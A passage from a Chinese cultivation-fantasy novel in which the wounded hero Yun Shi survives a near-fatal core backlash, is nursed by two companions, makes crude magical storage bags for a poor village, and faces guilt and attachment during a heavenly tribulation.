“跟他废什么话!拿下!”另一人不耐烦地喝道,率先扑了上来,手中钢刀带着破风声劈下! 战斗瞬间爆发。云实将斧头交到左手,右手并指,不顾经络刺痛,强行引动内丹中一丝混乱气息,凝于指尖,险之又险地架开钢刀,同时矮身,武器狠狠划向对方小腹! 那人没料到他还有反抗之力,仓促后退,衣襟被划破,惊出一身冷汗。另外几人见状,也不再观望,同时出手! 刀光剑影,拳风腿影。云实如同困兽,在五人围攻下左支右绌。他全靠一股不要命的狠劲和对危险的本能预判在支撑,偶尔引动的混乱气息虽然微弱,却总能干扰对方的灵力运转,制造出短暂的空隙,让他得以喘息,甚至反击伤到一两人。 但双拳难敌四手,更何况他早已是强弩之末。很快,他身上又添了几道伤口,鲜血染红了破旧的衣衫。最要命的是,在一次激烈的闪避腾挪中,他那条旧伤未愈的腿,猛地传来一阵撕裂般的剧痛! “咔嚓——”一声轻微的、仿佛筋腱断裂的声音从体内传来。 云实惨哼一声,身形一个踉跄,再也支撑不住,单膝跪倒在地,额头上冷汗涔涔而下,剧痛让他眼前阵阵发黑。 疤脸汉子瞅准机会,一脚狠狠踢在他胸口! 云实重重撞在崖壁上,又滑落在地,手中的斧头也脱手飞出,不知掉到了哪里。 他瘫在地上,大口喘着气,每一次呼吸都带着血腥味和肋骨的刺痛。视线开始模糊,耳边是那几人逐渐靠近的脚步声和得意的笑声。 “妈的,还挺难缠。” “行了,绑起来,回去领赏!” 结束了……吗? 也好……至少,没在村子里动手,没牵连无辜。只是……家人……师兄……苏妄…… 混乱的思绪中,他摸到了怀里那枚温热的木牌,还有……那颗沉寂在丹田深处,此刻却仿佛感应到他濒死绝境而微微发烫、躁动不安的乱丹。 一个疯狂的念头,如同黑暗中燃起的鬼火,骤然照亮了他绝望的心神。 回大自在天?出卖尊严?接受温言?这些“如果”都已没有意义。 现在,他面前只有两条路:被擒,然后可能牵连所有他在乎的人;或者……死。 但就算死,也不能白白死!苏妄说过,“乱”是“变化之机”,是打破平衡的可能!这颗内丹,这颗带给他无尽痛苦和麻烦的“毒药”,或许……也是他唯一能掌控的、最后的力量! 不是正统的修炼,不是平稳的吸纳。而是……吞噬!是引爆!是强行炼化这枚本就与他不完全相容、充满了混乱与不确定性的异物!就像把一颗烧红的铁球吞进肚子里,要么被烧穿,要么……在毁灭中,抓住那一丝重塑的、狂暴的、不可控的“生机”。 这无异于自杀,甚至比自杀更痛苦,更可能魂飞魄散。 但云实已经不在乎了。他眼中闪过一抹近乎癫狂的决绝。 在被那疤脸汉子粗糙的手抓住衣领提起来的瞬间,云实用尽最后一丝力气,猛地挣脱,向后踉跄一步,背靠崖壁,面对着惊愕追来的五人。 他咧嘴,露出一个染血的、疯狂的笑容。 然后,不再有任何犹豫,不再顾忌爆体而亡的风险,他将全部残存的神识与意志,如同赴死的勇士,狠狠撞向丹田深处那颗越来越烫、仿佛即将苏醒的凶兽般的内丹! 不是引导,不是调和。 是命令!是吞噬!是彻底的……释放与融合! “轰——!!!” 仿佛无声的惊雷在他体内炸开!远比之前任何一次内丹悸动都要狂暴千万倍的力量,如同决堤的洪荒猛兽,带着摧毁一切、混乱一切的意志,从他丹田处轰然爆发! 云实发出一声不似人声的凄厉惨嚎,整个身体剧烈颤抖起来,体表瞬间迸裂出无数细小的血口,鲜血喷溅!以他为中心,一股无形却令人心悸的混乱波动猛然扩散开来,空气中发出不堪重负的嗡鸣,光线都似乎出现了诡异的扭曲! 那五名追兵首当其冲,脸上的得意瞬间被无边的惊恐取代。他们感到自身的灵力骤然失控,在经脉中乱窜,气血逆冲,眼前幻象丛生,仿佛瞬间坠入了无序的噩梦! “怎么回事?!” “我的灵力……啊!” “快退!!!” 疤脸汉子反应最快,惊恐万状地松开手,想要向后飞退。但已经晚了。 只见云实猛地抬起头,那双原本黑白分明的眼睛,此刻眼白部分爬满了狰狞的血丝,瞳孔深处,一点混乱的灰芒正在急速旋转、扩散,仿佛要将周围的一切光影和秩序都吸入、绞碎!他周身缭绕着肉眼可见的、如同沸水般扭曲翻滚的灰黑色气息,那气息充满了不祥与毁灭的意味。 疤脸汉子只觉得周身空间猛地一凝,随即以一种完全违背物理规则的方式疯狂扭曲、折叠、撕扯!他护体灵光如同纸糊般碎裂,身体发出令人牙酸的骨骼错位声,七窍同时溢血,发出一声短促的惨叫,便如同破布娃娃般被抛飞出去,重重砸在远处乱石堆中,生死不知。 其余四人魂飞魄散,哪里还敢停留,连滚爬爬,如同丧家之犬般朝着来路疯狂逃窜,甚至顾不上同伴。 云实没有追。他也无法追。 在强行催动那毁灭性一击后,他周身沸腾的混乱气息骤然一滞,随即如同潮水般倒卷而回,更加狂暴地反噬自身!他仰天喷出一大口夹杂着内脏碎块的乌黑血液,整个人如同被抽走了所有骨头,软软地沿着崖壁滑倒在地,彻底失去了意识。 只有那微弱的、极其紊乱的呼吸,和体内依旧在肆虐冲撞、仿佛随时要将他彻底撕裂成碎末的狂暴力量,证明他还残留着一丝生机。 山洞方向,隐约传来几声受惊的犬吠,随即又归于死寂。 月光冷冷地照在这片刚刚经历了一场诡异风暴的崖边,照着那个蜷缩在血泊中、生死不知的少年,照着他身上那件已被鲜血浸透、红得刺目、白得惨淡的破碎外袍。 黑暗。无边无际的、黏稠的黑暗。 然后是光。破碎的、飞速掠过的光影,如同断了线的走马灯,不受控制地在意识深处旋转、拼贴。 青石镇湿漉漉的青石板路,空气中浮动着染料和阳光晒过的棉布味道。父亲低头整理布匹的宽厚背影,母亲在灶台前忙碌时哼唱的轻柔小调。弟弟云岭摇头晃脑背诵“之乎者也”的稚嫩嗓音,妹妹云舒摆弄算盘珠子时清脆的碰撞声。 测灵台上,那检测石柱只泛起微弱得几乎看不见的杂色光芒,周围仙师漠然移开的目光,夹杂着几声毫不掩饰的嗤笑。科举放榜时,从头到尾、再从尾到头,怎么也找不到自己名字的茫然与冰凉。回到“云锦记”,接过母亲递来的温热毛巾,那份强颜欢笑的平静下,是认命的麻木。 仙门弟子争斗,灵光爆裂,店铺倾塌,父亲倒下的身影。苏妄随手抛来的、那个灰扑扑的小袋子。指尖触碰到储物袋冰滑内壁的瞬间,布料防潮防霉难题迎刃而解的狂喜,以及随之而来的、冰冷刺骨的仙凡鸿沟之感。 天衡宗后厨油烟弥漫的灶火,同僚排挤的白眼,纸鸢悄悄塞过来的半个馒头。流衍师兄温和却疏离的询问,霁雪仙尊高高在上、视他如实验样本般的“恩赐”。修炼丙火朝阳诀时,灵气在体内寸步难行的凝滞,内丹毫无征兆的暴动,经脉欲裂的痛楚。 大自在天扭曲的光影,无常殿高处苏妄吹奏的、凉薄入骨的笛音。红白两色的衣袍碎片,指尖被针扎破的刺痛,缝合成新衣时那种混合着恨意与决绝的专注。还有……还有那些靠在柔软床榻边,苏妄带着漫不经心的笑意,用近乎闲聊的语气,讲述的、关于一些“小玩意”制作要诀的夜晚…… 等等! 那段记忆……为何如此模糊,又在此刻如此清晰地撕开黑暗? 画面陡然定格,变得异常鲜明。不是战斗,不是屈辱的交易,而是一个……安静得有些诡异的场景。 大自在天,无常殿某间陈设华美却透着空虚的侧室里,烛火摇曳。云实刚刚结束一场身心俱疲的表演,穿着苏妄喜欢的某种轻薄丝袍坐在铺着柔软锦缎的床沿。苏妄斜倚在对面,长发披散,指尖把玩着一枚低级储物袋,正是最初赔偿给云实的那种。 “无聊吗?”苏妄忽然开口,声音带着事后的慵懒,“给你讲点有意思的。就说说这种最低级、最没用的储物袋,是怎么让凡人也能摆弄两下的。” 云实做出顺从倾听的姿态。 “材料,是最普通的‘纳元麻’,北地荒野到处是,凡间也能种,只不过仙门和皇室圈了地,定了价,寻常人接触不到好的。”苏妄的语气像在评价一道菜,“织法也不难,凡间的顶级织工琢磨几年也能仿个五六成。难的是两样:一是把麻丝处理到能稳定承受灵力细流冲刷的程度,这需要一种特制的‘分灵机’,原理不复杂,但精度要求高,核心部件被几家大宗门和皇室工坊捏着,图纸不外泄。” 他随手将储物袋抛给云实,云实下意识接住,指尖传来熟悉的冰凉滑腻感。 “第二,就是这最关键的‘引导纹路’。”苏妄点了点储物袋口内侧那圈极其细微、凡人肉眼难以察觉的淡银色纹路,“这不是用灵力刻上去的,是用一种叫‘引灵髓’的矿物粉末混合其他材料,像绣花一样,‘缝’进去的。针法有讲究,力度、走向、节点衔接,差一丝,这袋子要么打不开,要么灵力冲进去就炸。” 他凑近了些,气息拂在云实耳畔,带着淡淡的药香和一种更深的、玩味的恶意:“知道为什么凡人明明有微弱的灵力,却用不了大多数最低阶的仙家器物吗?不是太弱,而是太强。像一堆乱糟糟的原木,塞不进锁眼。而这‘引导纹路’,就像一把精心削制的钥匙,把凡人那点散乱的原木般的气血生机,引导、聚焦成能插进锁眼、轻轻一扭的……‘力’。打开一个小口,放点东西进去,够用了。” “所以,”苏妄的声音低了下去,带着蛊惑般的笑意,“你看,仙凡之别,有时候没那么玄乎。一层窗户纸,加一把特制的钥匙。窗户纸是垄断的材料和机器,钥匙是……一点被严格控制的‘知识’。有趣吗?” 当时的云实只觉得麻木。这些知识如同毒药,伴随着身体交易和情感表演而来,玷污而可鄙。他的头脑在极度抗拒下,本能地将这些信息深埋,屏蔽了这段记忆的场景细节。 为什么现在想起来了? 还是因为……在绝境中,那来自苏妄的、看似随意的“小知识”,此刻却像一颗冰冷的火星,骤然照亮了某个他一直忽略的、幽暗的角落? 材料垄断……工艺封锁……引导之匙……把散乱的原木削成能开锁的钥匙…… 这些碎片在他燃烧的意识里疯狂旋转、碰撞。 然后,更剧烈的、仿佛灵魂被投入熔炉的痛楚袭来,将这点刚刚燃起的、微弱的清明瞬间吞噬。 现实中的剧痛远比走马灯更真实、更恐怖。云实感觉自己的身体从内部开始碎裂、融化、重组,又被更狂暴的力量撕碎。每一寸经脉都在哀嚎,每一块骨骼都在错位,那颗被强行吞噬的“乱”丹,不再是内丹,而是一团在他丹田处爆开的、拥有自我意志的毁灭漩涡,贪婪地吞噬着他的生机,又释放出更多混乱与破坏。 黑暗再次降临,这次是彻底的、无知无觉的深渊。 …… 不知过了多久。 意识像沉在冰冷湖底的石子,一点点被微弱的光和温暖拽上来。 最先恢复的是嗅觉。一种清冽的、带着淡淡苦意的药香,很熟悉,是天衡宗寒霁峰常用的某种伤药气味。 听觉慢慢回归。有柴火在壁炉里噼啪燃烧的细响,有极轻的脚步声,还有……压抑着的、细微的抽泣声? 眼皮重若千钧,费了极大的力气,才颤抖着掀开一丝缝隙。 模糊的视野逐渐清晰。他躺在一张铺着干净稻草和粗布的简陋床榻上,身上盖着件半旧的棉袍。身处的是一间低矮的土屋,墙壁斑驳,屋顶有漏光,但被打扫得很干净。壁炉里的火光照亮了不大的空间。 床边,坐着一个人。 一袭简洁的月白色劲装,身姿挺拔如雪中青松,墨发用一根乌木簪利落挽起,露出线条清晰优美的侧脸。她正微微低着头,专注地看着手中一个粗糙的药碗,用一只木勺轻轻搅动。火光在她长长的睫毛下投出颤动的阴影,柔和了平日里那份过于凛冽的英气。 是天蕴师姐。 云实怔住了,以为自己仍在混乱的梦境或濒死的幻觉中。 似乎是察觉到他的目光,天蕴动作一顿,抬眸看了过来。那双总是清澈冷静、透着些许疏离的眼眸,此刻清晰地映出他狼狈不堪的样子。 “醒了?”她的声音依旧如玉石相击,清脆却没什么温度,“别动,你伤得很重。” 不是梦。 云实张了张嘴,干裂的嘴唇粘在一起,剧痛从四肢百骸传来,提醒着他昏迷前那场疯狂的反噬有多可怕。 “水……”他终于挤出一个模糊的音节。 天蕴放下药碗,从旁边拿起一个缺了口的陶碗,里面是清澈的温水。她小心地托起云实的后颈,将碗沿凑到他唇边,动作算不上温柔,却异常稳定精准。 微凉的水滑过喉咙,带来些许滋润,也牵扯起胸腔火辣辣的疼痛。云实忍不住咳嗽起来,每一声咳嗽都震得他眼前发黑。 “慢点。”天蕴微微蹙眉,等他缓过气,才继续喂了几口。 喝下水,云实才有余力转动眼珠,看向屋内另一处。 土屋角落里,一个娇小的身影正蹲在地上,对着一个小火炉扇风,炉子上坐着个黑乎乎的药罐。听到云实的咳嗽声,那身影猛地转过身来。 是纸鸢。 她似乎清瘦了些,穿着一身便于行动的粗布衣裙,脸上沾着点烟灰,眼圈红红的,显然刚才哭泣的人就是她。此刻看到云实醒来,她眼睛一亮,随即又涌上更多的泪水,想说什么,却怕打扰天蕴,只是紧紧咬着嘴唇,用力朝云实点了点头,眼泪却大颗大颗滚落下来。 纸鸢……她怎么会在这里?和天蕴师姐一起? 无数的疑问涌上心头,但身体极度虚弱,思绪也如同缠绕的乱麻。最让他难以置信的是——自己居然还活着?在那样的反噬之后? 天蕴似乎看出他的困惑,将他轻轻放回枕上,重新端起那碗颜色深褐、气味苦涩的药汁。 “你灵力暴乱,经脉破损严重,丹田几乎崩溃。”天蕴的语气平淡得像在陈述天气,“我们能找到你,算是你命大。纸鸢家在北地有些生意往来,她听说……一些传闻,不放心,求我陪她北上寻你。恰好在玄戈城附近,感应到一股异常的、熟悉的混乱灵力波动,寻迹而来,在山崖下发现了你。” 她舀起一勺药,递到云实唇边:“你昏迷了三天。这药能暂时稳住你的伤势,吊住性命。但你的根基已损,体内两股力量正在互相冲突、吞噬,情况极不稳定。能不能熬过去,能熬多久,我不知道。” 云实机械地张开嘴,吞下那勺苦得令人作呕的药汁。温热的液体流入胃中,带来些许暖意,但丝毫无法驱散四肢百骸透出的冰冷和虚弱。 他还活着。但也许,只是比死人多了一口气。 天蕴一勺一勺,耐心地喂完大半碗药。纸鸢也小心翼翼地端过来一碗稀薄的米汤,在天蕴的示意下,一点点喂给他。 两个与他人生轨迹截然不同的女子,此刻却在这荒村破屋中,照顾着濒死的他。这场景荒诞得不真实。 “为什么……”云实的声音沙哑破碎,“救我……师姐……你……宗门……” 天蕴收拾药碗的动作停了一下。她看着云实,眼神复杂。 “我救你,是因为你是我寒霁峰记名弟子,至少名义上是。”她的回答带着公事公办的简洁,“见门下弟子垂死而不救,非我之道。至于宗门缉令……”她顿了顿,“此行,是陪纸鸢解决家事,偶遇救伤,仅此而已。” 她说得轻描淡写,但云实知道绝没有这么简单。天蕴是霁雪仙尊看重的弟子,身份敏感。她私自北上,还与缉令目标接触、救治,一旦被宗门知晓,后果不堪设想。 “纸鸢……”云实看向那个默默流泪的少女,心中涌起复杂的愧疚。自己给她家添的麻烦还不够多吗? 纸鸢用力抹了把眼泪,声音哽咽却坚定:“云实你别想那么多!先好好养伤!天蕴姐说了,这里很偏僻,暂时安全。你……你一定要撑下去!” 安全?云实心中苦笑。他的存在本身,就是最大的不安全。天蕴和纸鸢留在这里,随时可能被追兵发现,卷入更大的危险。 他想劝她们离开,想告诉她们自己不值得,但虚弱的身体和混乱的思绪让他连组织语言都困难。刚想开口,又是一阵剧烈的咳嗽袭来,眼前阵阵发黑。 天蕴迅速点了他胸前几处穴位,一股精纯平和的灵力输入,勉强压下了翻腾的气血。她的灵力带着天衡宗正统的寒意,却并不冰冷刺骨,反而有种镇定的效果。 “少思少言,保存元气。”天蕴语气不容置疑,“你的情况,多说无益。待你能起身,再论其他。” 云实无力地闭上眼。身体的痛苦,濒死的记忆,苏妄那段突然清晰起来的“授课”,天蕴和纸鸢的出现……所有的一切搅在一起,让他精疲力尽。 天蕴终究没能久留。 在确认云实性命暂时无虞、留下足够分量的丹药和一套基础的敛息调养法诀后,她便在一个晨雾弥漫的清晨悄然离去。临行前,她只对纸鸢嘱咐了几句,又深深看了昏睡中的云实一眼,那眼神复杂难明,最终化为一声几不可闻的叹息,身影如轻烟般融入雾中,朝着与玄戈城相反的方向消失。 纸鸢红着眼圈,在土屋门口站了很久。她知道天蕴姐姐是冒险留下来照顾云实的,如今离开,必定是宗内有要事,或是不愿她们二人被卷入更深。她用力擦干眼泪,转身回到屋内,对着依旧虚弱的云实,努力挤出一个笑容。 “云实,天蕴走了,她说你命硬,肯定能挺过来。”她声音带着鼻音,却努力显得轻快,“以后就我来照顾你,我能行的。” 云实连点头的力气都没有,只能眨了眨眼,表示听见了。 养伤的日子漫长而痛苦。天蕴留下的丹药效果显著,但云实体内的情况实在太过糟糕。丹田处的残留,与他本身微弱的灵力,还有后来天蕴输入的、用于镇定的那一缕寒霁峰灵力,三者交织冲撞,形成了一片混乱的战场。经脉破损严重,灵力运行艰涩无比,每一次尝试调息都伴随着针扎刀割般的剧痛。 更麻烦的是,他无法完全静养。这个名为白石坳的小村落太过贫瘠,天蕴留下的丹药和食物有限。纸鸢身上带的钱也不多,还要小心避免频繁去玄戈城采购引来注意。很多时候,他们需要靠村里所剩无几的几户好心老人接济些粗粮野菜度日。 云实躺在简陋的床榻上,听着屋外呼啸的风声和纸鸢与村民用生硬的方言努力沟通的声音,心中的无力感几乎要将他淹没。他成了彻底的累赘,拖累着纸鸢,也消耗着这个本就贫苦村落的微薄资源。 不能这样下去。 当身体稍稍恢复了一点力气,能够靠着墙壁坐起身时,云实开始强迫自己思考。他盯着土屋简陋的房梁,脑海中反复回放的,除了濒死时的疯狂,就是苏妄那段关于储物袋制作的、清晰得反常的“授课”。 材料……纳元麻……引导纹路……引灵髓……钥匙…… 一个近乎荒诞的念头,如同绝壁缝隙里挣扎钻出的野草,在他心中顽强生长。 也许……他可以利用这些“知识”?哪怕只是制作出最粗糙、最低劣的储物袋?只要能解决白石坳村民最迫切的储存问题,是不是就能稍微回报他们的收留之恩,也减轻纸鸢的负担? 这个念头一旦产生,就再也无法遏制。它成了支撑他在剧痛和虚弱中保持清醒的唯一动力。 他开始尝试。没有纳元麻,就用村里能找到的、质地最坚韧的几种野麻和树皮纤维混合,反复捶打、浸泡、晾晒。没有引灵髓,就回忆苏妄提过的几种可能起到类似引导作用的常见矿物或植物汁液特性,让纸鸢或村民帮忙在附近山野、甚至废弃的矿坑边缘寻找类似的替代品。没有特制的分灵机和精密针法,就用最简陋的骨针、木梭,凭借布料店出身对纤维和纹理的直觉,以及记忆中苏妄描述过的大致纹路走向,一遍遍试验、失败、再试验。 过程极其艰难。替代材料性能不稳定,处理不当就会彻底报废。引导纹路的刻画更是难如登天,力道轻了无效,重了直接毁掉基础结构,衔接点稍有差池,整个纹路就失去作用。云实双手很快布满了被粗糙纤维和失败品反噬的细小伤口,加上体内伤势未愈,每一次集中精神尝试,都让他眼前发黑,虚汗淋漓。 纸鸢起初不明白他在折腾什么,只是默默地帮他收集材料,处理杂务,在他体力不支时强行让他休息。她自己的修为竟然比云实想象的要好,虽仍是感气期,但灵力运转平稳,还会一种简单的屏蔽自身气息的小法术。她告诉云实,当初进天衡宗后厨,确实存了偷学仙家膳食技艺、回去振兴家传酒坊的心思,对修行反倒没太执着,只按部就班练着,如今反倒比云实这历经波折、根基尽毁的状态要好些。 “云实啊,你到底想干嘛?”在一次云实又对着一个毫无反应的麻布口袋发呆时,纸鸢终于忍不住问。 云实沉默了很久,才嘶哑着开口:“做一把……钥匙。给凡人用的。” 纸鸢似懂非懂,但她看着云实眼中那簇微弱却执拗的火光,没有再问,只是更用心地帮他打磨骨针,筛选更合适的纤维。 失败。失败。还是失败。 堆积的废料几乎占满了土屋一角。村里几位老人偶尔过来,看着云实苍白着脸、手指颤抖却依旧不停尝试的样子,都暗自摇头叹息,以为这受伤的年轻人是魔怔了,却也不好说什么,只是送来的粗粮野菜里,偶尔会多出半个舍不得吃的鸡蛋。 就在云实自己都快要放弃时—— 第十七个试验品,一个用混合了某种暗红色矿粉汁液描绘了扭曲纹路的粗麻布袋,在云实小心翼翼地将一丝微弱到几乎感受不到的、混合着生机与混乱残存气息的“力”注入某个节点后,袋口处,极其微弱地、如同幻觉般,闪了一下。 没有完全打开,甚至没有稳定的空间波动。 但那一闪而逝的、不同于凡物的微弱灵光,像一道惊雷劈开了云实心头的阴霾! 他成功了!方向是对的!苏妄没有骗他,真的可行! 狂喜只持续了一瞬,就被更深的疲惫和身体的剧痛淹没。他剧烈咳嗽起来,嘴角溢出血丝。 “云实!”纸鸢惊呼着扶住他。 “没……没事……”云实喘着气,眼中却燃起了前所未有的光芒,“继续……我知道怎么改了……” 找到了那关键的一丝感应,接下来的调整就有了方向。云实如同最耐心的工匠,一遍遍微调矿粉的比例、纤维的处理强度、纹路的刻画深浅与衔接角度。每一次微小的改进,都伴随着无数次失败和身体的透支。 终于,在第二十九个试验品上,当云实再次注入那微弱的力量时,粗糙的袋口,稳定地张开了一道约莫拳头大小、边缘微微扭曲波动的口子。虽然只能维持不到三息时间,内部空间也小得可怜,大概只能塞进几个馒头,但这确确实实是一个能被微弱凡力开启的储物空间! “成了……”云实看着那缓缓闭合的袋口,喃喃道,随即眼前一黑,彻底脱力晕了过去。 这次昏迷时间不长,醒来时,纸鸢正守在一旁,眼睛亮晶晶的,手里捧着那个“成功”的布袋,像是捧着什么稀世珍宝。 “你做到了……”纸鸢的声音充满了激动和不可思议。 云实虚弱地笑了笑,心中却一片沉静。 那条被神化的仙凡之隔,并非不可逾越的天堑。 接下来的日子,白石坳悄然发生着变化。 云实将改良后的制作方法教给了村里几位手巧的老人和妇人。材料就在附近山野采集,替代矿物也在废弃的小矿洞边缘找到了稳定来源。虽然制作成功率不高,成品质量参差不齐,使用寿命短,但足以满足村民们最基本的储存需求。 收获的季节,村民们第一次不用焦急地看着堆积的粮食因为潮湿闷热而发芽霉变。进山采集的山货、药材,可以暂时存放在这些粗陋的袋子里,保持新鲜。甚至有人尝试用它装运木炭,发现比背篓省力不少。 变化是细微的,却真实地改善着这个贫瘠村落的生活。作为回报,村民们自发地为云实和纸鸢修缮了土屋,送来了更多食物和用品,甚至将村里荒废已久的一个小小纺织作坊的钥匙交到了云实手中——那是多年前一个外来的织户留下的,早已破败不堪。 云实没有拒绝。布料,是他最熟悉的领域。养伤之余,他开始带着几个愿意学习的村民,清理作坊,修理那几台老掉牙的织机。他将自己对布料的理解,结合在尝试制作储物袋时对纤维处理的心得,改良了织造工艺。虽然用的还是普通麻棉,但织出的布匹更加厚实均匀,染色也更牢固些。 “云锦记”的手艺,在这偏远的北地荒村,以另一种方式悄然复苏。 作坊产出的粗布,连同村里一些山货,由纸鸢小心地、分批带到玄戈城边缘的小市集出售。价格低廉,但结实耐用,竟也慢慢打开了一点销路,换回一些必要的盐、铁器和零碎铜钱。 白石坳,这个曾经死气沉沉、几乎被人遗忘的角落,开始流淌起一丝微弱的生机。村民们脸上多了些笑容,孩子们偶尔能吃到一点糖。他们都知道,这变化来自于那对沉默养伤的年轻男女,尤其是那个总是脸色苍白、却眼神沉静、双手不停忙碌的少年。 云实将作坊赚来的微薄利润,大部分分给了帮忙的村民,剩下的,则全部交给纸鸢。 “帮我买这些。”他列出一张单子,上面不是奢侈之物,而是最基础的、适用于低阶修士的温养经脉的草药、劣质但安全的灵石碎片,以及一些讲解修行基础常识、尤其是关于乱侧灵力特性的廉价手抄本。 他没有忘记修行。天蕴留下的敛息法诀帮助他稳定了最糟糕的状况,但要真正恢复,甚至更进一步,他需要理解体内这股新的、混杂的力量。 他开始尝试按照那些廉价书卷上的描述小心翼翼地引导、梳理体内残存的气息。过程痛苦而缓慢,如同在满是裂痕的琉璃器皿中注入沸水,稍有不慎便是更严重的损伤。但他别无选择。 纸鸢起初对他购买修行物资有些不解,但看到他眼中那份不容动摇的专注,便不再多问,只是每次去玄戈城都更加小心,尽量分散购买,避免引起注意。 时间在织机的咔哒声、麻袋的缝制声和云实压抑的痛哼声中,悄然流逝。冬去春来,白石坳村外的野草枯了又绿。 云实的身体在丹药、自身调养和持续不断的工作中,以一种缓慢却坚定的速度好转。体内的混乱并未消失,却似乎达成了某种脆弱的、动态的平衡。破损的经脉被新生的、更具韧性的组织勉强连接,丹田处,那团混杂的气息不再时刻暴动,而是缓缓旋转,像一个微小而诡异的漩涡。 他制造的储物袋越来越稳定,虽然依旧是一次性或数次性的劣质品,但成功率提高了,使用次数也增加到三五次。作坊的布匹在玄戈城边缘有了一点小名气,被称为“坳子布”,虽登不上大雅之堂,却因价廉物美,颇受底层百姓和行脚商人的欢迎。 小小的白石坳,竟真的肉眼可见地富裕、热闹了一些。有外村的姑娘愿意嫁进来,有流民路过被收留,村口那条荒废的小路,被村民们自发地平整拓宽了些许。 云实大多数时间待在作坊或自己的小屋里,要么研究布料和储物袋的改进,要么对着那几本翻烂了的书卷和体内混乱的漩涡苦苦思索。只有纸鸢和几个常来往的村民,才能偶尔看到他眼中一闪而过的、属于年轻人的光彩,以及那份沉淀下来的、远超年龄的沉稳。 直到某个夏夜,云实在尝试引导体内漩涡,试图理解乱与序之间那微妙界限时,毫无征兆地,触动了某个关卡。 久违的、却更加清晰浩大的天地威压,悄然降临在这偏远的山村上空。混沌、直接、仿佛要将他体内那刚刚稳定的诡异平衡彻底搅碎、再重新淬炼。 他愣了片刻,随即露出一丝苦笑。 该来的,终究来了。 他没有躲避,也无力躲避。只是挣扎着起身,走到屋外空旷处,免得牵连纸鸢和村民。 夜空无星无月,乌云低垂,隐隐有混乱的电光在云层中流窜,时而炽白,时而暗红,甚至夹杂着诡异的灰色。 第一道劫难落下,并非雷霆,而是一股无形的心神冲击,混杂着无数嘈杂低语、破碎画面和扭曲情绪,直冲他的识海。 云实闷哼一声,脸色瞬间惨白如纸,刚刚稳定的神魂剧烈震荡,体内那脆弱的平衡再次岌岌可危。 他咬紧牙关,强迫自己固守心头最后一点清明。 第二波,是体内灵力的彻底暴走和反噬,经脉传来不堪重负的哀鸣,仿佛要将他从内部撕裂。他喉头一甜,鲜血溢出嘴角,却硬撑着没有倒下,反而主动将心神沉入那狂暴的漩涡中心,试图理解那毁灭中蕴含的、扭曲的“生机”…… 就在意识即将被那无尽的负面浪潮吞噬时,一个清晰而温暖的画面,如同黑暗深渊中突然亮起的一点烛火,顽强地穿透了混乱的噪音—— 是纸鸢。 不是现在这个能运转灵力、会屏息法术、甚至能挡在他身前的纸鸢。而是更早时候,在天衡宗后厨那个烟雾缭绕、充满油污和排挤的角落里,那个同样穿着杂役服、脸上沾着煤灰、却偷偷把半个白面馒头塞进他手里,小声说“快吃,别让孙师傅看见”的少女。 画面一闪,又变成白石坳的土屋里,他因试验失败和伤势发作而咳血昏迷后醒来,看见纸鸢红着眼圈,却努力对他挤出笑容的样子。她解释自己入仙门初衷是想偷学仙家菜肴扩展家里的事业,修行只是附带,天赋平平,却靠着一点小聪明和天蕴的指点,把基础打得异常扎实,尤其擅长灵力的精细运转与气息屏蔽。正是这份扎实,让她在云实最虚弱的日子里,成了他实际上的保护者,几次打退了闻风而来、意图不轨的低阶窥探者。 还有村民偶尔善意的玩笑:“云实小哥,纸鸢姑娘,你们俩这么般配,啥时候请我们喝喜酒啊?” 这个念头此刻被心劫放大,带着诡异 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“不!”云实猛地咬破舌尖,剧痛和血腥味让他混沌的意识获得了一丝清明。他死死守住心头那点微光。他对纸鸢,是珍视,是感激,是希望她好。这份情感本身是干净而有力的。为何要因为恐惧未来可能的“变化”,而否定此刻真实的“联结”?友情也好,其他情感也罢,重要的是彼此尊重、相互扶持的真心。未来如何,应由两人共同决定,顺其自然,而不是他独自在此惶恐臆测,画地为牢! 想通此节,那股剧烈抗拒和迷茫,如同被阳光照射的晨雾,悄然消散。关于纸鸢的杂念幻象褪去,留下的是一份更加澄澈的认知:珍惜当下,尊重彼此,携手前行。第一波最凶猛的心神冲击,竟因这念头的通达,威力骤减大半,神魂也因此凝练了一丝,不再如先前那般飘摇。 然而,未等他喘息,第二波劫力已然降临。这次不再是虚无的心神攻击,而是直接引动他体内那团混沌的力量本身,从内部爆发!本就脆弱的平衡被彻底打破,那融合了乱丹残骸、自身微薄灵力、天蕴的寒性灵力和近期粗浅修炼所得的气息,瞬间失去控制,如同无数脱缰的野马,在他千疮百孔的经脉中横冲直撞…… 云实身上本就未愈的旧伤崩裂,新血瞬间染红衣袍。经脉传来清晰无比的、仿佛被寸寸撕裂绞碎的剧痛,比之前任何一次反噬都要猛烈十倍!他眼前发黑,耳中嗡鸣,身体不由自主地佝偻下去,膝盖一软,单膝重重砸在冰冷的地面上。 但比□□剧痛更尖锐的,是随之而来的、几乎要将他灵魂都刺穿的愧疚。 流衍师兄。 那个总是温润平和、在他最无助时给予回护、为他据理力争、最后却因他的“坦白”而被霁雪仙尊带回山门、打入静思崖冰冷石屋的流衍师兄…… 流衍最后看向他的那一眼,复杂难明,有关切,有无奈,或许还有一丝失望,却唯独没有怨恨。而自己呢?给了流衍什么?除了将他卷入这滩浑水,让他知晓不该知晓的秘密,进而断送其原本光明的仙途,还有什么? “是我……一句话就把流衍师兄送进了那种地方……”这念头如同淬毒的冰锥,狠狠凿进他的心脏,比经脉撕裂更痛百倍!那股深重如海的愧疚感,几乎要将他彻底淹没、窒息。内息的暴走也因此变得更加狂乱,仿佛要将他从内到外彻底撕碎,作为对“连累他人”的惩罚。 云实跪在冰冷的泥地上,浑身颤抖,鲜血不断从口鼻和伤口溢出,意识在剧痛和愧疚的双重碾压下,逐渐模糊。放弃吧……就这样死去,或许才是最好的解脱,也是对师兄的一种偿还…… 就在意识即将沉入黑暗的深渊时,一点极其微弱的、却异常执拗的火星,在他心底最深处,倏然亮起。 那是他在青石镇小院里,对流衍说的那句话:“祸福自担,不累师兄。” 还有他自己在离开前,心中暗下的决心:不能再只承受,要补偿,要回报! 光愧疚有什么用? 一个近乎咆哮的意念,如同惊雷般在他濒临崩溃的识海中炸响。 跪着等死,就能偿还了吗?就能让流衍师兄脱离囚笼了吗?不能!我要活着!我要把他从那个鬼地方救出来!好好补偿他!不能再这么自私地只承受别人的付出,然后像个懦夫一样用愧疚和死亡来逃避责任! 这强烈的、由无尽愧疚转化而来的、近乎偏执的责任与目标,像一根烧红的铁钎,狠狠烙进他的神魂深处,带来另一种极致的痛苦,却也带来了前所未有的、支撑他绝不倒下的力量。 